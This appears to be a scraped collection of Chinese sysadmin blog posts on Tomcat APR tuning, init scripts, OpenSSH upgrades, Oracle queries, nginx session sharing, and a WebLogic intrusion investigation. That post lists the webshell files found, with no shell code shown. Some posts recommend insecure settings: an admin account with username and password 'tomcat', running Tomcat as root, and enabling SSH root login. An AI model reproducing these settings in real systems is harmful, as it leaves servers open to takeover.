                at com.nbp.theplatform.threaddump.ThreadDeadLockState$DeadlockThread.monitorOurLock(ThreadDeadLockState.java:182)
                - locked <0x00000007d58f5e78> (a com.nbp.theplatform.threaddump.ThreadDeadLockState$Monitor)
                at com.nbp.theplatform.threaddump.ThreadDeadLockState$DeadlockThread.run(ThreadDeadLockState.java:135)

   Locked ownable synchronizers:
                - None

上面的例子中,当线程 A 需要获取线程 B 的锁来继续它的任务,然而线程 B 也需要获取线程 A 的锁来继续它的任务的时候发生的。在 thread dump 中,你能看到 DEADLOCK_TEST-1 线程持有 0x00000007d58f5e48 锁,并且尝试获取 0x00000007d58f5e60 锁。你也能看到 DEADLOCK_TEST-2 线程持有 0x00000007d58f5e60,并且尝试获取 0x00000007d58f5e78,同时 DEADLOCK_TEST-3 线程持有 0x00000007d58f5e78,并且在尝试获取 0x00000007d58f5e48 锁,如你所见,每个线程都在等待获取另外一个线程的锁,这状态将不会被改变直到一个线程丢弃了它的锁。

无限等待的Runnable状态样例

"socketReadThread" prio=6 tid=0x0000000006a0d800 nid=0x1b40 runnable [0x00000000089ef000]
   java.lang.Thread.State: RUNNABLE
                at java.net.SocketInputStream.socketRead0(Native Method)
                at java.net.SocketInputStream.read(SocketInputStream.java:129)
                at sun.nio.cs.StreamDecoder.readBytes(StreamDecoder.java:264)
                at sun.nio.cs.StreamDecoder.implRead(StreamDecoder.java:306)
                at sun.nio.cs.StreamDecoder.read(StreamDecoder.java:158)
                - locked <0x00000007d78a2230> (a java.io.InputStreamReader)
                at sun.nio.cs.StreamDecoder.read0(StreamDecoder.java:107)
                - locked <0x00000007d78a2230> (a java.io.InputStreamReader)
                at sun.nio.cs.StreamDecoder.read(StreamDecoder.java:93)
                at java.io.InputStreamReader.read(InputStreamReader.java:151)
                at com.nbp.theplatform.threaddump.ThreadSocketReadState$1.run(ThreadSocketReadState.java:27)
                at java.lang.Thread.run(Thread.java:662)

上例中线程的状态是RUNNABLE,但在下面的堆栈日志中发现socketReadThread 线程正在无限等待读取 socket,因此不能单纯通过线程的状态来确定线程是否处于阻塞状态,应该根据详细的堆栈信息进行分析。


Centos7.6 配置openvpn,账号密码登陆

$
0
0
您所在的组无权查看该日志

Centos6安装Tomcat/7.0.96+apr模式+openssl-1.1.0k+jdk1.7优化性能

$
0
0


Tomcat有三种运营模式:bio、nio、apr,不同模式下Tomcat的运行效率差别比较大。

一、bio(blockingIO)

阻塞式IO,Tomcat6及以前版本默认运行模式,性能非常低下,没有经过任何优化处理。
二、nio(noblocking IO)

非阻塞式IO,Tomcat7以后的版本默认运行模式,利用java异步IO技术使Tomcat运行性能有所提升。

    <Connector port="8080" protocol="HTTP/1.1"
                   connectionTimeout="20000"
                   redirectPort="8543" />


如果要在Tomcat6开启NIO模式,直接修改server.xml里的Connector节点,修改protocol为
org.apache.coyote.http11.Http11NioProtocol,启动生效。

    <Connector port="8080"                protocol="org.apache.coyote.http11.Http11NioProtocol"
                   connectionTimeout="20000"
                   redirectPort="8543" />


三、apr(Apache Portable Runtime)

从操作系统级别来解决异步的IO问题,大幅度的提高性能。

必须要安装apr和native,直接启动就支持apr。


下载 相关最新版软件与安装编译环境。

  231  wget http://us.mirrors.quenda.co/apache//apr/apr-1.7.0.tar.gz
  232  wget http://mirrors.tuna.tsinghua.edu.cn/apache//apr/apr-util-1.6.1.tar.gz
  233  wget http://mirrors.tuna.tsinghua.edu.cn/apache//apr/apr-iconv-1.2.2.tar.gz
  234  yum install gcc make  gcc-c++

  242  yum install gcc make autoconf automake
  243  yum install expat-devel


首先需要升级openssl,不然tomcat不支持,无法启动。

  424  tar zxvf openssl-1.1.0k.tar.gz
  425  cd openssl-1.1.0k
  428  ./config --prefix=/usr/local/openssl-1.1.0k  shared  zlib-dynamic && make
  429  make install

这里需要单独新装个目录,不然最的启动tomcat 会报错,因为tomcat 在编译tomcat-native 时,使用的是

系统中自带的openssl的中旧库文件。这样启动tomcat时,日志会报错,无法启动,具体如下 :

警告: The APR based Apache Tomcat Native library failed to load. The error reported was [/usr/local/apr/lib/libtcnative-1.so.0.2.23: /usr/local/apr/lib/libtcnative-1.so.0.2.23: undefined symbol: BN_get_rfc3526_prime_8192]
java.lang.UnsatisfiedLinkError: /usr/local/apr/lib/libtcnative-1.so.0.2.23: /usr/local/apr/lib/libtcnative-1.so.0.2.23: undefined symbol: BN_get_rfc3526_prime_8192
    at java.lang.ClassLoader$NativeLibrary.load(Native Method)
    at java.lang.ClassLoader.loadLibrary1(ClassLoader.java:1965)
   

严重: Failed to initialize connector [Connector[HTTP/1.1-8080]]
org.apache.catalina.LifecycleException: Failed to initialize component [Connector[HTTP/1.1-8080]]
    at org.apache.catalina.util.LifecycleBase.init(LifecycleBase.java:107)
    at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:427)
Caused by: org.apache.catalina.LifecycleException: The configured protocol [org.apache.coyote.http11.Http11AprProtocol] requires the APR/native library which is not available
    at org.apache.catalina.connector.Connector.initInternal(Connector.java:972)
    at org.apache.catalina.util.LifecycleBase.init(LifecycleBase.java:102)
    ..


使用ldd 查看库文件信息,会发现连接的库信息都是旧版本的
/lib64/libssl.so.10
这都是旧版本的openssl 库文件。

# :  ldd /usr/local/apr/lib/libtcnative-1.so.0.2.10  


linux-vdso.so.1 =>  (0x00007ffd137fa000)
libssl.so.10 => /lib64/libssl.so.10 (0x00007f6efdf31000)
libcrypto.so.10 => /lib64/libcrypto.so.10 (0x00007f6efdb48000)
libapr-1.so.0 => /usr/local/apr/lib/libapr-1.so.0 (0x00007f6efd915000)
librt.so.1 => /lib64/librt.so.1 (0x00007f6efd70d000)
libcrypt.so.1 => /lib64/libcrypt.so.1 (0x00007f6efd4d5000)
libpthread.so.0 => /lib64/libpthread.so.0 (0x00007f6efd2b9000)
libdl.so.2 => /lib64/libdl.so.2 (0x00007f6efd0b5000)
libc.so.6 => /lib64/libc.so.6 (0x00007f6efccf2000)
libgssapi_krb5.so.2 => /lib64/libgssapi_krb5.so.2 (0x00007f6efcaa6000)
libkrb5.so.3 => /lib64/libkrb5.so.3 (0x00007f6efc7c1000)
libcom_err.so.2 => /lib64/libcom_err.so.2 (0x00007f6efc5bc000)
libk5crypto.so.3 => /lib64/libk5crypto.so.3 (0x00007f6efc38a000)
libz.so.1 => /lib64/libz.so.1 (0x00007f6efc174000)
/lib64/ld-linux-x86-64.so.2 (0x00007f6efe3d0000)
libfreebl3.so => /lib64/libfreebl3.so (0x00007f6efbf70000)
libkrb5support.so.0 => /lib64/libkrb5support.so.0 (0x00007f6efbd61000)
libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007f6efbb5d000)
libresolv.so.2 => /lib64/libresolv.so.2 (0x00007f6efb942000)
libselinux.so.1 => /lib64/libselinux.so.1 (0x00007f6efb71d000)
libpcre.so.1 => /lib64/libpcre.so.1 (0x00007f6efb4bb000)
liblzma.so.5 => /lib64/liblzma.so.5 (0x00007f6efb296000)


    2.1 安装APR

  310  tar zxvf apr-1.7.0.tar.gz
  311  cd apr-1.7.0
  312  ./configure --prefix=/usr   --disable-static  --with-installbuilddir=/usr/share/apr-1/build
  315  make
  316  make install

        安装APR-iconv

  325  cd apr-iconv-1.2.2
  326  ./configure --with-apr=/usr
  327  make
  328  make install

    2.2 安装APR-UTILS

  318  cd apr-util-1.6.1
  320  ./configure --prefix=/usr   --with-apr=/usr   --with-gdbm=/usr   --with-openssl=/usr/local/openssl-1.1.0k --with-crypto --with-apr-iconv=/usr/local/apache2/bin/apriconv

  321  make
  322  make install

  2.3   安装tomcat-native,编译完成就可以了。

  360  tar zxvf tomcat-native.tar.gz
  361  cd tomcat-native-1.2.23-src/native/
  367  ./configure --with-ssl=/usr/local/openssl-1.1.0k

  368  make
  369  make install


3、配置APR本地库到系统共享库搜索路径中

方式1:

设置LD_LIBRARY_PATH和LD_RUN_PATH环境变量,指向/usr/local/apr/lib目录,可配置到/etc/.profile文件中

export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/apr/lib
export LD_RUN_PATH=$LD_RUN_PATH:/usr/local/apr/lib

source /etc/profile


方式2:

拷贝/usr/local/apr/lib目录下所有动态库到/usr/lib或/lib系统共享库搜索目录下即可。

copy /usr/local/apr/lib/libtcnative* /usr/lib/

   

方式3:(推荐)

编辑$TOMCAT_HOME/bin/catalina.sh文件,在虚拟机启动参数JAVA_OPTS中添加java.library.path参数,指定apr库的路径

JAVA_OPTS="$JAVA_OPTS -Djava.library.path=/usr/local/apr/lib"



关闭ssl,将SSLEngine的值从on改成off即可:

<Listener className="org.apache.catalina.core.AprLifecycleListener" SSLEngine="off" />
Tomcat 6.x版本从6.0.32开始就默认支持apr
Tomcat 7.x版本从7.0.30开始就默认支持apr


   

Tomcat8以下版本,需要指定运行模式,将protocol从HTTP/1.1改成org.apache.coyote.http11.Http11AprProtocol

1、server.xml
<Connector port="8080"

protocol="org.apache.coyote.http11.Http11AprProtocol"
maxThreads="1000"

maxHttpHeaderSize="8192"

acceptCount="1000"

disableUploadTimeout="true"

connectionTimeout="20000"

redirectPort="8230" />

 tomcat7.x-Connector参数

http://tomcat.apache.org/tomcat-7.0-doc/config/http.html

http://tomcat.apache.org/tomcat-8.0-doc/config/http.html

tomcat--Connector参数解读
<Connector
port="80" //监听端口
protocol="HTTP/1.1" //协议
enableLookups="false" //禁止反向DNS查询客户端主机名
maxThreads="600" //最大线程数
minSpareThreads="100" //初始化创建的线程数
maxSpareThreads="500" //一旦创建的线程超过这个值,Tomcat就会关闭不再需要的socket线程。在7.8取消了
acceptCount="700" //最大等待数
connectionTimeout="20000" //连接超时
redirectPort="8443" //重定向
/>




给tomcat 添加角色与账号密码,tomcat-users.xml配置文件增加以下内容:


<role rolename="manager"/>

<role rolename="manager-gui"/>

<role rolename="admin"/>

<role rolename="admin-gui"/>

<user username="tomcat" password="tomcat" roles="admin-gui,admin,manager-gui,manager"/>

   
 

自行根据情况调整参数。我这里使用普通用户启动tomcat程序,

需要改最大文件句柄数和打开文件的数目

  由于打开文件会比较多,所以要考虑修改默认打开文件数目

cat /etc/security/limits.conf

tomcat   soft   nproc    500000
tomcat   hard   nproc    500000

tomcat   soft   nofile   1048000
tomcat   hard   nofile   1048000


[root@zabbixserver lib]# cat /etc/security/limits.d/90-nproc.conf

*          soft    nproc     unlimited
root       soft    nproc     unlimited


给/etc/profile修改登陆环境。

JAVA_HOME=/usr/java/default
JRE_HOME=/usr/java/default/jre
PATH=$PATH:$JAVA_HOME/bin:$JRE_HOME/bin
CLASSPATH=$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:$JRE_HOME/lib:$JAVA_HOME/lib
export JAVA_HOME JRE_HOME PATH CLASSPATH

if [ $USER = "tomcat" ]; then
    if [ $SHELL = "/bin/ksh" ]; then
        ulimit -p 16384
      ulimit -n 65536
    else
      ulimit -u 500000 -n 1048000
    fi
fi


最后切换普通用户后,运行Tomcat,看到如下日志表示开启apr模式成功:

判定运行方式
Tomcat启动的时候,可以通过log看到Connector使用的是哪一种运行模式:
Starting ProtocolHandler ["http-bio-8080"]
Starting ProtocolHandler ["http-nio-8080"]
Starting ProtocolHandler ["http-apr-8080"]

Centos/Linux 下tomcat服务启动脚本

$
0
0
可直接复制到/etc/init.d/tomcat ,添加执行权限,使用service tomcat restart 启动


#!/bin/bash
### BEGIN INIT INFO
# Provides:          tomcat
# Required-Start:    $remote_fs $syslog
# Required-Stop:     $remote_fs $syslog
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: tomcat-server daemon
# Description:       tomcat-server daemon
### END INIT INFO
#
# chkconfig: - 95 15
# description: Tomcat start/stop/status script
 
export JAVA_HOME=/usr/local/jdk
export JRE_HOME=/usr/local/jdk/jre
export PATH=$JAVA_HOME/bin:$JRE_HOME/bin:$PATH
 
#CATALINA_HOME is the location of the configuration files of this instance of Tomcat
CATALINA_HOME=/usr/local/tomcat
 
#TOMCAT_USER is the default user of tomcat
TOMCAT_USER=root
 
#TOMCAT_USAGE is the message if this script is called without any options
TOMCAT_USAGE="Usage: $0 {\e[00;32mstart\e[00m|\e[00;31mstop\e[00m|\e[00;32mstatus\e[00m|\e[00;31mrestart\e[00m}"
 
#SHUTDOWN_WAIT is wait time in seconds for java proccess to stop
SHUTDOWN_WAIT=3
 
tomcat_pid() {
  echo `ps -ef | grep $CATALINA_HOME/bin/tomcat-juli.jar | grep -v grep | tr -s " "|cut -d" " -f2`
}
 
start() {
  pid=$(tomcat_pid)
  if [ -n "$pid" ]; then
    echo -e "\e[00;31mTomcat is already running (pid: $pid)\e[00m"
  else
    echo -e "\e[00;32mStarting tomcat\e[00m"
    if [ `user_exists $TOMCAT_USER` = "1" ]; then
      su $TOMCAT_USER -c $CATALINA_HOME/bin/startup.sh
    else
      $CATALINA_HOME/bin/startup.sh
    fi
    status
  fi
  return 0
}
 
status() {
  pid=$(tomcat_pid)
  if [ -n "$pid" ]; then
    echo -e "\e[00;32mTomcat is running with pid: $pid\e[00m"
  else
    echo -e "\e[00;31mTomcat is not running\e[00m"
  fi
}
 
stop() {
  pid=$(tomcat_pid)
  if [ -n "$pid" ]; then
    echo -e "\e[00;31mStoping Tomcat\e[00m"
    $CATALINA_HOME/bin/shutdown.sh
 
    let kwait=$SHUTDOWN_WAIT
    count=0;
    until [ `ps -p $pid | grep -c $pid` = '0' ] || [ $count -gt $kwait ]
    do
      echo -n -e "\e[00;31mwaiting for processes to exit\e[00m\n";
      sleep 1
      let count=$count+1;
    done
 
    if [ $count -gt $kwait ]; then
      echo -n -e "\n\e[00;31mkilling processes which didn't stop after $SHUTDOWN_WAIT seconds\e[00m\n"
      kill -9 $pid
    fi
  else
    echo -e "\e[00;31mTomcat is not running\e[00m"
  fi
 
  return 0
}
 
user_exists() {
  if id -u $1 >/dev/null 2>&1; then
    echo "1"
  else
    echo "0"
  fi
}
 
case $1 in
  start)
    start
    ;;
  stop)
    stop
    ;;
  restart)
    stop
    start
    ;;
  status)
    status
    ;;
  *)
    echo -e $TOMCAT_USAGE
    ;;
esac
exit 0
 
 
--------------------- 
版权声明:本文为CSDN博主「Jenning_zh」的原创文章,遵循CC 4.0 by-sa版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_35815578/article/details/81508158

Tomcat7部署应用后,日志输出乱码问题

$
0
0
Logger输出中文乱码问题困扰着,在weblogic103.6环境下不存在这个问题。


打开Tomcat安装目录,下面的bin目录。 修改catalina.sh文件,第229行。修改时,记得先备份该文件,以如万一!


原有的:


 


if [ -z "$LOGGING_MANAGER" ]; then
  LOGGING_MANAGER="-Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager"
fi
 


修改为:


 


if [ -z "$LOGGING_MANAGER" ]; then
   JAVA_OPTS="$JAVA_OPTS -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Dfile.encoding=UTF8 -Dsun.jnu.encoding=UTF8"
else
   JAVA_OPTS="$JAVA_OPTS $LOGGING_MANAGER -Dfile.encoding=UTF8 -Dsun.jnu.encoding=UTF8"
fi
 


Centos6/RHEL6系统关于openssh8p1升级RPM安装包

$
0
0

centos6的系统关于openssh版本太低只有openssh5.3,需要升级到最新版openssh8.0p1,

为了方便,这个制作了一个RPM版本的安装包,可以在centos6、RHEL6系统安装,确认正常。

安装方法,先下载附件中的openssh8的RPM包,执行下列命令

#:  yum -y install gcc gcc-c++ zlib zlib-devel openssl openssl-devel pam-devel pam-devel rpm-build pam-devel openssl pam libedit pam-devel initscripts libXt-devel imake gtk2-devel unzip

 安装依赖包,不是所有包都需要。

#:  rpm -e `rpm -qa |grep openssh` --nodeps

删除旧版openssh软件包。

#:  rpm -ivh *.rpm 

  安装所有新版openssh8安装包。


openssh8安装包


当然还有一个很重要的事情,安装好后,请修改配置文件启用root账号。

最好启用sshd服务:


#: /etc/init.d/sshd start     直接启动服务就行

#:/etc/init.d/sshd restart   测试重启服务。

最好远程测试下ssh是否正常登陆。

Oracle查看分区表相关信息与数据

$
0
0

ORACLE数据库如何查看分区表的相关信息

如下语句,根据Toad所用SQL,其中可以根据自己的情况修改表名与表所属用户。


Select
  TABLE_NAME, PARTITION_NAME, HIGH_VALUE, HIGH_VALUE_LENGTH, PARTITION_POSITION,
  TABLESPACE_NAME, LOGGING, nvl(INI_TRANS, -1) ini_trans, nvl(MAX_TRANS, -1) max_trans,
  nvl(INITIAL_EXTENT, -1) initial_extent, nvl(NEXT_EXTENT, -1) next_extent,
  nvl(MIN_EXTENT, -1) MIN_EXTENT, nvl(MAX_EXTENT, -1) MAX_EXTENT, nvl(PCT_INCREASE, -1) PCT_INCREASE, nvl(PCT_FREE, -1) PCT_FREE,
  nvl(PCT_USED, -1) pct_used, nvl(FREELISTS, -1) freelists, nvl(FREELIST_GROUPS, -1) freelist_groups, buffer_pool,
  LAST_ANALYZED, nvl(NUM_ROWS, -1) NUM_ROWS, nvl(BLOCKS, -1) BLOCKS, nvl(EMPTY_BLOCKS, -1) EMPTY_BLOCKS, nvl(AVG_SPACE, -1) AVG_SPACE
  ,SUBPARTITION_COUNT
  ,COMPRESSION
  ,COMPRESS_FOR
  ,FLASH_CACHE, CELL_FLASH_CACHE
FROM SYS.DBA_TAB_PARTITIONS
WHERE TABLE_OWNER = 'NEC'
and TABLE_NAME = 'TH_REPORT'
ORDER BY TABLE_NAME, PARTITION_POSITION;


图片.png


Select PARTITION_NAME,
  HIGH_VALUE, HIGH_VALUE_LENGTH, TABLESPACE_NAME, NUM_ROWS, BLOCKS, EMPTY_BLOCKS, LAST_ANALYZED, AVG_SPACE
  ,SUBPARTITION_COUNT
  ,COMPRESSION
FROM sys.DBA_TAB_PARTITIONS
WHERE table_name= 'TH_REPORT'
AND TABLE_OWNER= 'NEC'
ORDER BY PARTITION_POSITION

图片.png

nginx+Tomcat反向代理实现session会话保持

$
0
0


概述:企业应用中nginx+tomcat是当前主流架构之一,当网站访问量很大的时候一台nginx代理多台tomcat来实现负载均衡是一个比较理想的解决方案,那如何保持会话呢?

(也就是当一个链接访问A服务器时,刷新浏览器链接跳转到B服务器,而不会使页面失效呢?)

解决方案:

    1、会话粘性(session sticky),又分为基于源ip和cookie 2种方式
                基于源ip(source_ip)在不同的调度器上又不同的实现方式:
                                    nginx : ip_hash
                                    lvs : sh算法
                                    haproxy:source

                cookie:
                                    nginx : hash
                                    haproxy:cookie
    2、会话群集(session cluster)tomcat自带的session manager
    3、会话服务 (session server) 第三方redis(store),memcached(cache)

环境:
nginx+tomcat
一台nginx :192.168.2.198
一台tomcat1+mem:192.168.2.197
一台tomcat2+mem:192.168.2.199

一、2台Tomcat配置java环境及发布目录
1、jdk安装
rpm -ivh jdk-8u151-linux-x64.rpm
如图:
nginx+Tomcat反向代理实现session会话保持
2、tomcat下载、解压
tomcat 下载地址:http://tomcat.apache.org/
tar xf apache-tomcat-7.0.78.tar.gz -C /usr/local/
ln -s apache-tomcat-7.0.78 tomcat
3、配置path环境变量
vi /etc/profile.d/tomcat.sh
export CATALINA_BASE=/usr/local/tomcat
export PATH=$CATALINA_BASE/bin:$PATH
chmod +x /etc/profile.d/tomcat.sh # 赋予可执行权限
source /etc/profile.d/tomcat.sh
4、创建测试网页的发布目录
mkdir /usr/local/tomcat/webapps/test/
5、创建测试页面(197上创建tomcatA ,199上创建tomcatB)
[root@localhost conf]#vi /usr/local/tomcat_a/webapps/test/index.jsp
<%@ page language="java" %>
<html>
<head><title>TomcatA</title></head>
<body>
<h1><font color="red">TomcatA.linuxinfo.top</font></h1>
<tablealign="centre" border="1">
<tr>
<td>SessionID</td>
<% session.setAttribute("linuxinfo.top","linuxinfo.top");%>
<td><%=session.getId() %></td>
</tr>
<tr>
<td>Createdon</td>
<td><%=session.getCreationTime() %></td>
</tr>
</table>
</body>
</html>
6、分别启动tomcat
catalina.sh start #可也用全路径/usr/local/tomcat/bin/startup.sh
7、访问192.168.2.197,测试如下,查看session ID
nginx+Tomcat反向代理实现session会话保持
访问192.168.2.199,测试如下,查看session ID
nginx+Tomcat反向代理实现session会话保持

至此,2台tomcat部署成功。

二、基于tomcat群集配置session会话保持
1、编辑vi server.xml ,在Engine字段中添加如下代码,开启群集服务
<Engine name="Catalina" defaultHost="localhost" jvmRoute="jvm1"> #jvmRoute表示唯一表示本机,所以不同主机的是不同的。这个参数非必须
<Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster" channelSendOptions="8">
<Manager className="org.apache.catalina.ha.session.DeltaManager" expireSessionsOnShutdown="false"
notifyListenersOnReplication="true"/>
<Channel className="org.apache.catalina.tribes.group.GroupChannel">
<Membership className="org.apache.catalina.tribes.membership.McastService"
address="228.10.0.4" port="45564" frequency="500" dropTime="3000"/> #多播地址应该是224~239,同一组里的多播地址相同
<Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
address="192.168.2.197" port="4000" autoBind="100" selectorTimeout="5000" maxThreads="6"/> #address为本机能够向外通信的地址
<Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">
<Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>
</Sender>
<Interceptor className="org.apache.catalina.tribes.group.interceptors.TcpFailureDetector"/>
<Interceptor className="org.apache.catalina.tribes.group.interceptors.MessageDispatch15Interceptor"/>
</Channel>
<Valve className="org.apache.catalina.ha.tcp.ReplicationValve" filter="/"/>
<Valve className="org.apache.catalina.ha.session.JvmRouteBinderValve"/>
<ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>
</Cluster>

如图:
nginx+Tomcat反向代理实现session会话保持
2、编辑web.xml
vim /usr/local/tomcat/conf/web.xml 给应用程序加<distributable/>标签,使其能够实现复制。在web-app字段加 <distributable/>。
如下图:
nginx+Tomcat反向代理实现session会话保持

将web.xml放在对应的项目目录下:
mkdir /usr/local/tomcat/webapps/test/WEB-INF
cp /usr/local/tomcat/conf/web.xml /usr/local/tomcat/webapps/test/WEB-INF/
重启服务:catalina.sh stop
catalina.sh start
如果不能启动,查看日志logs/catalina.out信息如下(不能加入到组播) :blob.png
那么添加到达组播的路由即可:route add -host 228.10.0.4 dev ens33

三、配置nginx负载均衡
vi /usr/local/nginx/conf/nginx.conf
upstream tomcat{
server 192.168.2.197:8080;
server 192.168.2.199:8080;
}
server {
listen 80;
server_name localhost;
location / {
proxy_pass http://tomcat
}
}

四、测试访问代理服务192.168.2.198,查看session ID 保持不变,实现会话保持。

nginx+Tomcat反向代理实现session会话保持

强制刷新页面
nginx+Tomcat反向代理实现session会话保持

可以看到session ID,保持不变,基于tomcat群集实现了会话保持。

五、基于memcache来实现session会话保持

0、还原配置文件
cp server.xml server.xml.cluster #备份群集复制的配置文件
cp server.xml.bak server.xml #还原配置文件

在所有的tomcat节点上(我们这里只有两台主机)既做tomcat也做memcached

下载五个jar包,将jar包放在/usr/local/tomcat/lib:
1、下载以下JAR包到tomcat库目录;cd /usr/share/tomcat/lib
wget http://www.java2s.com/Code/JarDownload/javolution/javolution-5.5.1.jar.zip
#需要解压 unzip javolution-5.5.1.jar.zip
wget http://repo1.maven.org/maven2/net/spy/spymemcached/1.8.0/spymemcached-1.8.0.jar
wget http://repo1.maven.org/maven2/de/javakaffee/msm/msm-javolution-serializer/1.8.0/msm-javolution-serializer-1.8.0.jar
wget http://repo1.maven.org/maven2/de/javakaffee/msm/memcached-session-manager-tc7/1.8.0/memcached-session-manager-tc7-1.8.0.jar
wget http://repo1.maven.org/maven2/de/javakaffee/msm/memcached-session-manager/2.1.1/memcached-session-manager-1.8.0.jar

mget javolution-5.4.3.1.jar
memcached-session-manager-1.8.0jar
memcached-session-manager-tc7-1.8.0.jar
msm-javolution-serializer-1.8.0.jar
spymemcached-1.8.0.jar

2、在contest.xml段定义一个用于测试的context容器,并在其中创建一个会话管理器。
vim contest.xml ,添加如下信息
<Context
<Manager className="de.javakaffee.web.msm.MemcachedBackupSessionManager"
memcachedNodes="m1:192.168.2.197:11211,m2:192.168.2.199:11211" failoverNodes="m1"
requestUriIgnorePattern=".*.(ico|png|gif|jpg|css|js)$" transcoderFactoryClass="de.javakaffee.web.msm.serializer.javolution.JavolutionTranscoderFactory"/>
</Context>
重启服务:
catalina.sh stop
catalina.sh start
3、下载memcached,启动服务
yum install memcached -y
systemctl start memcached
4、测试页面及测试效果同上

CentOS无意中发现weblogic环境被入侵处理方法。

$
0
0

检查Centos6系统日志时,无意中发现一个半夜23点时执行su命令的日志。


Sep  2 09:55:42 Web1 sshd[26868]: PAM adding faulty module: /lib64/security/pam_tally.so
Sep  2 09:55:52 Web1 sshd[26868]: pam_unix(sshd:session): session opened for user webuser by (uid=0)
Sep  2 10:03:10 Web1 sshd[26868]: pam_unix(sshd:session): session closed for user webuser
Sep  2 23:05:38 Web1 su: PAM unable to dlopen(/lib64/security/pam_tally.so): /lib64/security/pam_tally.so: cannot open shared object file: No such file or directory
Sep  2 23:05:38 Web1 su: PAM adding faulty module: /lib64/security/pam_tally.so

Sep  3 10:45:24 Web1 sshd[978]: PAM unable to dlopen(/lib64/security/pam_tally.so): /lib64/security/pam_tally.so: cannot open shared object file: No such file or directory
Sep  3 10:45:24 Web1 sshd[978]: PAM adding faulty module: /lib64/security/pam_tally.so
Sep  3 10:45:34 Web1 sshd[978]: pam_unix(sshd:session): session opened for user webuser by (uid=0)


这就很奇怪了,没人会半夜去工作,又不加班,更况前面日志,都没有登陆系统的日志。

明显,主机系统很可能是被入侵了,检查其它日志信息,什么也没发现。

查看所有进程,发现有当天运行的进程命令。都是/bin/bash 或 /bin/sh。 查看这两个文件创建时间,都是正常的。



为找出入侵后有没有后门或webshell之类的文件,找查最近几天生成的文件,如下命令:

[root@Web1 ~]# find / -ctime 3


/bea/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/.shell123.jsp
/bea/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/cmdx2.jsp
/bea/user_projects/domains/base_domain/servers/AdminServer/data/ldap/ldapfiles/EmbeddedLDAP.tran
/bea/user_projects/domains/base_domain/servers/AdminServer/data/ldap/ldapfiles/EmbeddedLDAP.delete
/bea/user_projects/domains/base_domain/servers/AdminServer/data/ldap/ldapfiles/changelog.index
/bea/user_projects/domains/base_domain/servers/AdminServer/data/ldap/ldapfiles/EmbeddedLDAP.trpos
/bea/user_projects/domains/base_domain/servers/AdminServer/data/ldap/ldapfiles/EmbeddedLDAP.data
/bea/user_projects/domains/base_domain/servers/AdminServer/data/ldap/ldapfiles/EmbeddedLDAP.twpos
/bea/user_projects/domains/base_domain/servers/AdminServer/data/ldap/ldapfiles/changelog.data
/bea/user_projects/domains/base_domain/servers/AdminServer/data/ldap/ldapfiles/EmbeddedLDAP.index
/bea/user_projects/domains/base_domain/servers/AdminServer/data/ldap/replicadata/Web80.status
/bea/user_projects/domains/base_domain/servers/Web80/tmp/_WL_internal/bea_wls_internal/i1t0h
/bea/user_projects/domains/base_domain/servers/Web80/tmp/_WL_internal/bea_wls_internal/i1t0h/jsp_servlet/__cmdx2.class
/bea/user_projects/domains/base_domain/servers/Web80/tmp/_WL_internal/bea_wls_internal/i1t0h/jsp_servlet/___46_shell123.class
/bea/user_projects/domains/base_domain/servers/Web80/tmp/_WL_internal/bea_wls_internal/i1t0h/war/.shell123.jsp
/bea/user_projects/domains/base_domain/servers/Web80/logs/access.log01113
/bea/user_projects/domains/base_domain/servers/Web80/data/ldap/ldapfiles/EmbeddedLDAP.tran
/bea/user_projects/domains/base_domain/servers/Web80/data/ldap/ldapfiles/EmbeddedLDAP.delete
/bea/user_projects/domains/base_domain/servers/Web80/data/ldap/ldapfiles/EmbeddedLDAP.trpos
/bea/user_projects/domains/base_domain/servers/Web80/data/ldap/ldapfiles/EmbeddedLDAP.data
/bea/user_projects/domains/base_domain/servers/Web80/data/ldap/ldapfiles/EmbeddedLDAP.twpos
/bea/user_projects/domains/base_domain/servers/Web80/data/ldap/ldapfiles/EmbeddedLDAP.index
/bea/user_projects/domains/base_domain/LOGGER_Log_2019-08-16.txt
/bea/wlserver_10.3/server/lib/uddi.properties.booted

发现不少目录都有生成没见过的文件 cmdx2.jsp,.shell123.jsp,还有class类的文件。

[root@Web1 _WL_internal]# cd bea_wls_internal/
[root@Web1 bea_wls_internal]# cd i1t0h/
[root@Web1 i1t0h]# ls
jsp_servlet  public  war
[root@Web1 i1t0h]# cd war/


找到文件查看创建时间,明显有问题。

[root@Web1 war]# ls -al
total 32
drwxr----- 4 cwt cwt 4096 Sep  5 16:07 .
drwxr----- 5 cwt cwt 4096 Sep  2 14:15 ..
-rw-r----- 1 cwt cwt    1 Jun 20 15:20 .beamarker.dat
-rw-r----- 1 cwt cwt  611 Sep  3 11:05 cmdx666.jsp
-rw-r----- 1 cwt cwt   49 Jun 20 15:20 index.html
drwxr----- 2 cwt cwt 4096 Jun 20 15:20 META-INF
-rw-r----- 1 cwt cwt 1169 Sep  2 14:14 .shell123.jsp
drwxr----- 2 cwt cwt 4096 Jun 20 15:20 WEB-INF
 
[root@Web1 war]# cd ..
[root@Web1 i1t0h]# ls
jsp_servlet  public  war
[root@Web1 i1t0h]# cd jsp_servlet/
[root@Web1 jsp_servlet]# ls
___46_shell123.class  __cmdx2.class  __cmdx5.class  __cmdx6.class  __cmdx6$U.class  __test111.class  __test111_jspx.class
[root@Web1 jsp_servlet]# ll
total 60
-rw-r----- 1 cwt cwt  6466 Sep  2 14:15 ___46_shell123.class
-rw-r----- 1 cwt cwt  6436 Sep  2 14:50 __cmdx2.class
-rw-r----- 1 cwt cwt 15796 Sep  3 10:58 __cmdx5.class
-rw-r----- 1 cwt cwt  6044 Sep  3 11:04 __cmdx6.class
